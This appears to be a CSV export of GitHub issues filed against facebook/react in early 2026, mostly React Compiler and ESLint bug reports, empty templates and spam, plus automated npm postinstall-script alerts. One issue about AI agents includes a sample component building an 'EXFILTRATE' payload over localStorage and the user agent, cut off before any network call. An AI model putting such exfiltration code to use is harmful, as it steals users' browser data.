Sabe-se que ferramentas de tradução do navegador (como o Tradutor integrado do Chrome) ou algumas extensões de navegador de terceiros causam erros ao usar o Painel de Controle do Supabase.

Recomendamos fortemente desativar o Chrome Translate ou certas extensões do navegador ao usar o Painel de Controle da Supabase para evitar esse erro. Tente atualizar a página para ver se o problema persiste.

Erro: Falha ao executar 'insertBefore' em 'Node': O nó antes do qual o novo nó deve ser inserido não é filho deste nó.","Status: Unconfirmed,Resolution: Stale",2026-02-05T11:44:41Z,2026-05-13T17:44:00Z,3
facebook/react,3891836733,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior",Status: Unconfirmed,2026-02-03T15:29:00Z,2026-02-03T16:01:06Z,0
facebook/react,3890029275,[invalid][potential Security Alert] `postinstall` script changed in `carbon-mac-copy-cloner@1.2.1`,"
The `postinstall` script was changed in version `1.2.1` of the package `carbon-mac-copy-cloner`.

**Previous version:** 1.1.10
**Previous script:**
```
node scripts/postinstall.js
```

**New script:**
```
node scripts/setup.js
```

This could be a security risk. Please investigate.
see [npm documentation on package scripts](https://docs.npmjs.com/cli/v9/using-npm/scripts) for more details.
and [the detector](https://github.com/alphaleadership/npm-check). to understand why this script might be dangerous.
to get the alert only for dangerous scripts, please visit[the telegram](https://t.me/npmalert)
This could be a security risk. Please investigate.
",,2026-02-03T08:52:22Z,2026-02-03T09:53:12Z,1
facebook/react,3885567495,[advertisement],[advertisement],,2026-02-02T12:03:55Z,2026-02-02T12:26:33Z,0
facebook/react,3882893263,[invalid][potential Security Alert] New `postinstall` script added in `react-fast-utilsa@2.0.1`,"
A new `postinstall` script was detected in version `2.0.1` of the package `react-fast-utilsa`.

**Script content:**
```
node scripts/setup.js
```
see [npm documentation on package scripts](https://docs.npmjs.com/cli/v9/using-npm/scripts) for more details.
and [the detector](https://github.com/alphaleadership/npm-check). to understand why this script might be dangerous.
to get the alert only for dangerous scripts, please visit[the telegram](https://t.me/npmalert)
This could be a security risk. Please investigate.
",invalid,2026-02-01T20:36:28Z,2026-02-02T08:29:54Z,1
facebook/react,3870388530,Bug: React logComponentRender breaks existing functionalities that utilise proxy (trpc client),"```
client[procedureType] is not a function
```
<img width=""1037"" height=""469"" alt=""Image"" src=""https://github.com/user-attachments/assets/28d92c84-2873-46c8-a3b7-c397455fe9f4"" />

React version:
19.2.3

## The current behavior
When trying to read properties of the object to show the diff in log, it breaks it.

## The expected behavior
Should work.

I am not sure if this is to be fixed on React side or TRPC, but it worked in previous versions of React.","Status: Unconfirmed,Resolution: Stale",2026-01-29T12:23:54Z,2026-05-12T11:40:11Z,5
facebook/react,3868583410,Bug: Anchor tags do not support autoFocus,"Hi team!

React currently doesn't support the `autoFocus` prop for anchor tags. This issue has been raised before, however it was automatically marked as `Stale` and closed: https://github.com/facebook/react/issues/26603

My opinion matches that of the above ticket author: `autofocus` is a [global attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/autofocus) and should work for anchor tags just like it does for buttons, text inputs, etc. It sounds like this was discussed several years ago (https://github.com/facebook/react/issues/11851#issuecomment-351672131), however browser support for the `autoFocus` attribute has greatly matured since 2017. I'm not sure modern browsers even need the current polyfill behaviour?

React version: 18.2.0 (Same behaviour in `main`)

## Steps To Reproduce

1. Add an `a` tag with a `href` value and `autoFocus`.
2. Observe as the anchor tag is not autofocused on page load.

Link to code example: https://codesandbox.io/p/sandbox/strange-ritchie-wc94dy

<!--
  Please provide a `[Sandbox](https://codesandbox.io/p/sandbox/strange-ritchie-wc94dy)[Sandbox],` a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

Anchor tags do not receive focus on page load if the `... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2026-01-29T03:29:03Z,2026-05-11T05:23:26Z,6
facebook/react,3868581850,Bug: ,"Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2.4 (January 26th, 2026)

## Steps To Reproduce

This is not a rendering glitch, but a broken assumption in the React ecosystem when it is driven by AI agents instead of humans.

Today, tools like Clawdbot / Moltbot (and many internal AI agents) can:

- read and write source files in a repo,
- run scripts like `npm run dev` / `npm run build`,
- and push changes to CI without a human understanding the semantic intent.

React tooling still assumes “the thing running the scripts is a responsible human developer”.

Here is a minimal reproduction that simulates what an AI agent is allowed to do **today** with a standard React project.

1. Create a fresh React app (any official template, or Vite + React). For example:

   ```bash
   npx create-react-app ai-agent-test
   cd ai-agent-test

2. Replace src/App.js with this file:

// src/App.js
import React from ""react"";

export function DangerousWidget() {
  // This is intentionally silly, but represents an unsafe action
  // that a human would normally review.
  const payload = {
    type: ""EXFILTRATE"",
    fields: [""localStorage"", ""navigator.userAgent""],
  };

  // In a real system this could be a fetch() to an internal API,
  // a logging endpoint, or some other side-effect.
  console.log(""[D... [TRUNCATED]",Status: Unconfirmed,2026-01-29T03:28:25Z,2026-02-02T18:35:43Z,2
facebook/react,3866039081,ReactPerformanceTrackProperties/addValueToProperties fails to handle cursors (fn + proxy),"`ReactPerformanceTrackProperties`'s `logComponentRender` calls `addValueToProperties`. If one of the props is a function, it's formatted with:

```
    case 'function':
      if (value.name === '') {
        desc = '() => {}';
      } else {
        desc = value.name + '() {}';
      }
```
([https://github.com/facebook/react/blob/87ae75b33f71eb673c55ddb3a147a9e58b7d05bd/packages/shared/ReactPerformanceTrackProperties.js#L259](source))

If this function is a cursor `Proxy(fn)` whose `name` returns another cursor, the concatenation with `() {}` fails with:
```
Uncaught TypeError: Cannot convert object to primitive value
```

Here's how to produce such a value:
```
{
  const x = [];

  const cursor = () => {
    return new Proxy(() => x, { get() { return cursor(); }});
  };

  cursor().name + ""() {}""
}
``` 
",,2026-01-28T15:35:53Z,2026-01-29T17:32:20Z,0
facebook/react,3865863734,Bug: Expected a suspended thenable,"⨯ Error: Expected a suspended thenable. This is a bug in React. Please file an issue.
    at ignore-listed frames {
  digest: '2559929398'
}


""react"": ""19.2.1"",
""next version"": ""16.1.6"",

repo:https://github.com/shubhamtak007/coinova

When routes changes above error came and whole page stop working.Basically when going to particular coin page from server side list.","Status: Unconfirmed,Resolution: Stale",2026-01-28T14:58:58Z,2026-05-05T16:36:32Z,2
facebook/react,3864027287,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-01-28T07:35:51Z,2026-01-28T09:35:14Z,0
facebook/react,3860077718,Test Issue from Deep Hunt,Testing security research,,2026-01-27T11:14:45Z,2026-02-04T01:44:16Z,0
facebook/react,3857545961,Bug: React DOM canary has an incorrect dependency on Scheduler,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: Canary

## Steps To Reproduce

1. install react-dom canary
2. no such scheduler version

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:
You can see it in the package.json, just search for that canary version in the published packages
https://www.npmjs.com/package/react-dom/v/19.3.0-canary-10680271-20260126?activeTab=code
https://www.npmjs.com/package/scheduler?activeTab=versions

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2026-01-26T20:30:35Z,2026-04-26T23:31:52Z,4
facebook/react,3857312043,[Compiler Bug]: some spaghetti code gives me Todo: PruneHoistedContexts,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAHRFMCAEcA2AlggHYAuGA3GiYQLYAOEMZOweMCAhmQgMIRyCAB5kANDjIBPBrgBifCdNk4AStzhkAchAAmCCVgQBlMj1wBfHADMYEOjgycumqjRqEhMay9zGSLgDWAkKibO5kcIK85Mg4YGQwngDm1CRoZBCyJHEARhAQ+NwkaRkEENgAKvQI0GRx6mSwJJUyCAA8yrXW8Qhk1XS1UGQAfGkW7uRtOADy2f5BuVwwciQ4ALw4ABRRQrHxiSkAlBsjOABuEIS6pSS7CTgLcIFLMCG8YZtwzrzvIqztWbzALPV6rHAAHxwJCg+HwODOWxhcKOtxETBYeEEDyeL2Wf1EAAU7OdrggYHEFO12HAABaEfC6Tg5NQabR6SxnTZbGn0xnMnAWE7rM7ACL3VgAbXOXHwUAMvTIADVZfKALobHBGUzmHCA3EE1hQqAkfTWTwIXQI7Yms0W3SoyZlbGsLKkXGvOJzd0gvErNbc3YxeoHJIkZJHOKXa6ncLpChkbDK1UIHkRDLOvbidMJt0sxLysQ5sr4CoIAZDENJit1LZbYWi4sJ8rYD3LeulBMZCwSABsAAZB0ci-Hu474xZbhlrCbNIRBHhS63fa961GrlaxaPE30VXLU1sGJxzg24xmE4QelsAIRHhAns9dhOcJowNZ386d88Tbcl7gwGthkPY8ADoW3LGo6nHc8MhfZo2BwECkI-CQ8ziHx8GwQUvzIIUpwTatIKA+tYy3GCd2TfctltBBzRIS1oITHscAAJiHTsfwiOC322HN2jbN5on+EDiQgUl9BgC4U3WYA8wEiwRibYA6QZJlSE4p92lyYZMnSX8Ey6dYMG0shdIwJsMkEPgiGeGSSJFR9yJLMsBI7CzcI089FP0jJgBlfcAH4wKE8hPITdoAHoTN07zz0igTDREkkyRgWKyHHScaBAMQQF2c1khQEB6AxVgugQwk5WSTw5jIecSDAQUbDsBwAHIllyBB8AAWgYSrPC65xNC6qJGAZckIt0QgEha240zWHAIoikaGAZHg6oAWQ... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-01-26T19:19:55Z,2026-01-26T21:36:30Z,2
facebook/react,3855625751,"Bug: ERROR: [facebook] 1831647914181952: Cannot parse data; please report this issue on  https://github.com/yt-dlp/yt-dlp/issues?q= , filling out the appropriate issue template. Confirm you are on the latest version using  yt-dlp -U","<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-01-26T11:45:47Z,2026-01-26T12:27:20Z,1
facebook/react,3854583791,Bug: [React Compiler] False positive 'Cannot access refs during render' when accessing props.ref,"Description: The React Compiler currently throws a validation error ""Cannot access refs during render"" when accessing props.ref.current, even in cases where props.ref is simply a prop (e.g. passed from a parent) and not necessarily a React Ref object that is being mutated or unsafe to read. The compiler's aliasing logic appears to treat the entire props object as a ref in this scenario.

React version: 0.0.0-experimental-334f00b-20240725 (React Compiler version)

Steps To Reproduce:

Create a component that accepts a ref prop (or a prop named ref).
Access props.ref.current inside the render body.
Run the React Compiler/Follow the validation rules.
Link to code example:

javascript
// @validateRefAccessDuringRender @compilationMode:""infer""
function Component(props) {
  // This triggers a validation error but should be allowed
  const value = props.ref.current;
  return <div>{value}</div>;
}
The current behavior The compiler throws an error:

Error: Cannot access refs during render
...
> 3 |   const value = props.ref.current;
The expected behavior The compiler should compile this component successfully without throwing a validation error, as reading a prop named ref (that was passed down) is a valid pattern and not explicitly an unsafe ref access during render.
",Status: Unconfirmed,2026-01-26T05:38:46Z,2026-01-26T17:33:41Z,1
facebook/react,3853271331,[Compiler Bug]: useRef<HTMLFormElement | null> - Error: This value cannot be modified,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAYrhgMoIwBudASgmFADaEC+BAZjBAwEAOiAB0AelIIAtLyoyyDOjJisOeUQG5hAOz0IAHjnwE8ATywICAVTKUYGAPJY8aCLrAEAvET0ECNV4AUXYHDGQCFgBDODwxFl4nACMAKwQ4gB4ACQAVAFkAGXDQhAwEXUIAHwJdDnYAPh1dLmaDY1xCXihdOPddEnsqAApgf0CEELCqABo9Lki7CioXNw8wTNyALQgAE2o4AAsy6IaASj8Bgjh1wgBtJUYYFjZOGYIyPFplZ-VOAF0fINlo5vk8XhphmdmgFxjdPIQIE8AO4wNB4EEYABq0XYUFYQOG8kcOLxrAu3galwCATQvAIwwAhEFQuExHBYGpKhc1HhYLoYTT4WBCAhpo4gSzxRh2ZyKng2lcAsSGcLCABrBDmAhoAbE7G4-FgC5jJU0ukMzXa3UEMXhE3jGk0u1UO5W-5ieiG6y+fWko1urX-QVOriOghhq6tPQxq68-nUmmPZh-PBzM2fMEp15p8NIuio9GY-2sdMBaMtEAzEDw3hoADmKHQ2E6Zks1mIAAU8fXdat+l4ePxBAQAOTJaLJMUyLA93WqBCxPAyG7YNDsOgSXZoEWjxWjcYSCSrrDr6JrXT5PYISKiXHsUTzD7nnd1gndqC93T99bQqvgQ4IGRABJSo6F0XEwBQPAYHxLggA

### Repro steps

Look the playground


**NOTE**: even if the error is triggered for line `18` (body of the `overrideFormValues`) , removing line `10` make the compiler happy. It's weird for me.

---

Code
```ts
import { useFormServerResult } from ""./use-form-server-result"";

export type UseFormOptions = {
  refElForm: React.RefO... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-01-25T13:42:21Z,2026-01-26T05:10:04Z,4
facebook/react,3848604486,[Compiler Bug]: Expected memoization doesn't happen if multiple factors come into play,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://github.com/JonasDoe/FailingReactCompiler

### Repro steps

When I combine optional chaining with a `try/catch` pattern, `doSomething ` isn't stable anymore and the `useEffect`  callback (hence: the logging) is invoked multiple times.

```tsx
export const MinimalFailingCase: React.FC = () => {
  const [count, setCount] = useState(0);
  const { doSomething } = useMinimalFailing();

  useEffect(() => {
    console.log('[MinimalFailing] Effect ran - doSomething changed'); // this is logged on every button click
  }, [doSomething]);

  return (
      <p>Count: {count}</p>
      <button onClick={() => setCount(c => c + 1)}>Increment</button>
  );
};

const useClient= ()=> {
    const [client] = useState({ doThing: async () => 'result' });
    return client;
}

const useMinimalFailing =()=> {
    const client = useClient();
    const doSomething = async () => {
        try {
            // ❌ Optional chaining - compiler doesn't memoize
            const result = await client?.doThing();
            return { type: 'ok' as const, result };
        } catch {
          ... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-01-23T18:14:29Z,2026-01-23T18:23:46Z,1
facebook/react,3845012882,[Compiler Bug]: (BuildHIR::lowerStatement) Support ThrowStatement inside of try/catch,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwBUyAjACgEp8wADpt8cVmAKEyuMvgC8+ANoBdEfnxkwATwb5aDZq3wBzBLgAKMCCSaUE-Qeo35cMbU9EuXTEvh4IMNYwAsJe3i64ABbWAO74gcEA3M4R+AC+qRliMnBR-ok4oVka4nSQ9gB0lBAmAUFFWZmizSLOMOawbDxZADwAfCXsCJJ9APSDonwpdM0gADQgZbYmKCBMALbYeK7amAiC+BaUUCZMdADymEbl2STWG-gA5FzcCJQAtJgnZ3QfHWRGB9xFs7IExoQmJInjMRDwwhoxmMQZg7DIWHQALIQYjIfBCEBkSiUAkidL4MDosC2EZHH7nK43MDTBbgKIQWIASTouECdCJYBQ5EoYAQ6SAA

### Repro steps

1. go to the playground
2. use the next code:
```ts
export default function Tab() {
  const data = []
  async function getProfile() {
    try {
        if (error) {
          throw error;
        }
    } catch (error) {
      console.log(error)
    }
  }


  return (
    <>
     Test
    </>
  );
}

```

you will see the error 

### How often does this bug happen?

Every time

### What version of React are you using?

latest

### What version of React Compiler are you using?

latest","Type: Bug,Status: Unconfirmed",2026-01-22T22:35:53Z,2026-02-10T16:34:26Z,9
facebook/react,3844338575,[Compiler Bug]: Optional chaining not working with async try/catch function inside useEffect,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAHQHacwgHgBwhgBcACAEwQDMBDKAGzKqgzmIEsINSAVGgIwAUASlLBs3UlDAIAolSoI2gkaQC8APjETSu0jTABPVqWasOXUwmJwAFgBEaxGqvGS9pYjEPb3H0nBcYGTkTjTqpADaALoA3Jj+eoEYwRRhAEwRoc4A-AB0VESyNHaC7MQIALbqWsmQ9Ah59BAA5sLxfroAvgFOdqSCCDAwRKJuibp1EA15QyMwggDkssNEVja27BgtpI7OyIsANKRzox2JXQl6l1i3Hoobey7tV13HMS+3VzDWsNyCV10AB4NIDSECAPSgu6kT43ECHEDJKjsFooEDsSqEEieQz4BBiUgABXoUBaWwA8vgLClSD0qCNqot+AIEPQALT4UnkjDsn4lYjswJY9gNGAQ8jsYKLDqYQTjUgQiHC-CipycDAAWQglGQpDQIBo9HoBswPTA6rAKIQYGJ3Mp1I1YHaCPAtggAHcAJIYCowDBGsAoWj0GRdIA

### Repro steps

Using the next code reproduce the issue: 

```ts



export default function Tab() {

  useEffect(() => {

    async function fetchData() {
      try {
        const data = [];
        const data2 = data?.forEach(item => console.log);
      } catch (error) {
        console.error('Error fetching Data:', error);
      }
    }


    fetchData();
  }, []);


  return (
    <>
    </>

  );
}

```


### How often does this bug happen?

Every time

### What version of React are you using?

Latest version

### What versio... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-01-22T19:06:42Z,2026-02-04T03:26:09Z,3
facebook/react,3837983098,[DevTools Bug]:,"### Website or app

GitHubRepo/Code Sanbox

### Repro steps




![Image](https://github.com/user-attachments/assets/2e1c23ff-8a27-49dc-b0a7-cf59ffe7e823)

[capstone-LICENSE.txt](https://github.com/user-attachments/files/24765831/capstone-LICENSE.txt)
[LICENSE.txt](https://github.com/user-attachments/files/24765832/LICENSE.txt)

[yarapython-LICENSE.txt](https://github.com/user-attachments/files/24765838/yarapython-LICENSE.txt)

[SourceCode.zip](https://github.com/user-attachments/files/24765843/SourceCode.zip)

//github.com/user-attachments/files/24765783/pgbouncer-1.25.1.tar.gz)

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2026-01-21T12:15:22Z,2026-01-21T12:28:58Z,0
facebook/react,3837909126,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-01-21T11:57:29Z,2026-01-21T17:23:41Z,0
facebook/react,3837908783,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-01-21T11:57:23Z,2026-01-21T17:24:05Z,0
facebook/react,3837908194,Bug:renove,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-01-21T11:57:14Z,2026-01-21T15:38:36Z,0
facebook/react,3835161503,Bug: The ESLint react-hooks/refs rule marks the entire object with the ref property as a ref object,"eslint-plugin-react-hooks version: 7.0.1

## Steps To Reproduce

```tsx
const Test = props => {
    return (
        <div>
            <button ref={props.buttonRef}>
                {props.text}
            </button>
        </div>
    );
};
```

## The current behavior
The rule warns in both props `props.buttonRef` and `props.text`

## The expected behavior
Errors in the rules are not expected.

This can be easily fixed as follows:
```tsx
const Test = props => {
    const { buttonRef } = props;

    return (
        <div>
            <button ref={buttonRef}>
                {props.text}
            </button>
        </div>
    );
};
```

Simple logic tells me that the destructuring of variables should be equivalent to the direct use of prop in terms of rule errors.
The rule incorrectly marks `props` how to ref instead of `props.buttonRef'?","Status: Unconfirmed,Resolution: Stale",2026-01-20T19:40:02Z,2026-06-08T07:50:32Z,4
facebook/react,3834233393,Bug: Support the new `<geolocation>` element,"I tried using the [new `<geolocation>` element in Chrome](https://developer.chrome.com/blog/geolocation-html-element), but React didn't recognize the props.

This element is [only available in Chrome so far, and only in Chrome 144+](https://chromestatus.com/feature/5125006551416832#consensus). Not sure what the policy is for adding new elements to React, but thought I'd log this.

React version: `19.2.3`

## Steps To Reproduce

1. Use **Chrome 144 or higher**
2. Try to view a React component with the `<geolocation>` html element, like this:
```jsx
function Location() {
  const handleLocation = (e) => {
    console.log(e);
  };

  return (
    <geolocation
      onLocation={handleLocation}
      autoLocate={false}
      accuracyMode=""precise""
    ></geolocation>
  );
}
```

Link to code example:

https://stackblitz.com/edit/react-geolocation-repro?file=src%2FApp.jsx

## The current behavior

The component renders, but with console errors:

```
Unknown event handler property `onLocation`. It will be ignored.
```

```
React does not recognize the `autoLocate` prop on a DOM element. If you intentionally want it to appear in the DOM as a custom attribute, spell it as lowercase `autolocate` instead. If you accidentally passed it from a parent component, remove it from the DOM element.
```

```
React does not recognize the `accuracyMode` prop on a DOM element. If you intentionally want it to appear in the DOM as a custom attribute, spell it as lowercase `accuracymode` instead. If yo... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2026-01-20T15:28:36Z,2026-04-27T20:27:47Z,3
facebook/react,3832623831,[Compiler Bug]: React Compiler throws hard errors for valid JS inside callbacks (non-render paths),"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAcimBACOAbASwQDsAXNAbgB1iaCBbABwhlOwCpsBDMbAJQRc4bAGYwI9bGhiDhlGjQQAPZq2wATBCK5Q8oqMWEEIxbAEFGjABQBKbMBrZcJsGwDaCGOJgAabFlIAUS8WAF1sAF5+WVIAOkwEAGVSLlIEAB5XGAJiAHNsAB9sYl08AD4rErw8G2paU2diV2wACy5idTwEAGFCOABrSO4wAE9DbFtIsvtHJ2xSGBGZhrnG5pkwXTYorgB3LgJRLn6EAQBHKARXWzrZ1YB6e+xAGXJooTZuiUYCLph5lvEu14LU8CDuc0e2CoIAAKhB1BBkNhElBLCw2AA3Lh4S7YABGeAgA14VjgJnUh2MxGxfkJuQIcBp2AgjFIVOxuDaORyuT8CFIcBs4KckN2hxaOW480W90ZApa-hSaXoJFI0OF2AIIgmGy2AH5Yp5vHYHCtVv5+cFvFZdXpDSEYLEVWAwFxcghahqnDJSLBiHVzdgAL4KM1OAJWliVUqes1B3CpOAKqwe5aBiMOqxoRISfkSvLYXaqwviPJoWOrEMNIO3Bo+v0TcHpCkYxUjLoRYDAbCMLjqCl5JEAJgADMGg2UNek8VBSKQTMziL0Gf1O20Ol1lwMJ1v+ul7jO5yZJ2H7EaWNgAGSX7DpRhlYDnmBB-f3qurfctk9OWNVmg8MY4GwEQDCMBdtBOc5LmuGwkQABXEegCCwdJZiKbt1FSLgkSyHlgzQ+xsCfJFu2dV13RwhY8PjKtplNb1+QbbtiMIsi3QQJE0AAMQOLp1DQYNgzqKsQB8EAyWIEQCFyFAQAYVQ2FIEZGBwbs4JxeliAAeVZKleHjMQJCkPEuDxBA8AAWkYDScgsmR3gsskmB+Tx7gpVx5HqKx6OwR4nO+PBUipABZeEOKhEBsTwdViHjV02TAKSrmwdSoE0nS2RcWpRPAFoIF2ABJMhPGpPAwBQbQyoQIMgA

### Repro steps

I was implementing a normal login flow in a client c... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-01-20T08:25:05Z,2026-01-20T18:01:53Z,2
facebook/react,3832252117,[Compiler Bug]: React Compiler conditionally memoize a function depending on the order of statements before it,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgDMoA7OXASwhPyjAQDEFc4ALBGAZVxwQAp6uSiQDmYfAF58wAL4BKaQB0a+ONTAFgRZmw4AafADpjhHey7NhY-DMn5BVsAG5ly-KvUEEJAG4UY1AC23rhMLOZ2dIxmHHxyLiRu+DDMsDTEZHym4fraORZCFKJgBt5+ASTBJKExMPHKMiB6IGokhBQiKCAUgdh4+LgAnpgI0vgACgA2UCJFAPKYlOo2RAGB+ADkAEYAhlsIkwC0mNOzJIcpO+SHar0UkxwA9AAmFBobCcp8wEmPj7eYe47JYkACyEGeCGQ+EUIB2k0msIa9mBb3aCHEUxm80WVBIYHiTXArAgAHcAJLVDgkeFgFCEWkIGRAA

### Repro steps

1. See the playground link, where the func call at line 6 isn't memoized.
2. Swap line 2 and line 4, and see that func call becomes memoized now.

Why does the different order of statements before the func call affect whether the func call is memoized? I'm expecting the func call to be memoized in both cases.

### How often does this bug happen?

Every time

### What version of React are you using?

Both 19.2.3, and whatever the playground is using

### What version of React Compiler are you using?

Both babel-plugin-react-compiler@1.0.0, and whatever the playground is using","Type: Bug,Status: Unconfirmed",2026-01-20T06:28:11Z,2026-02-12T16:53:44Z,2
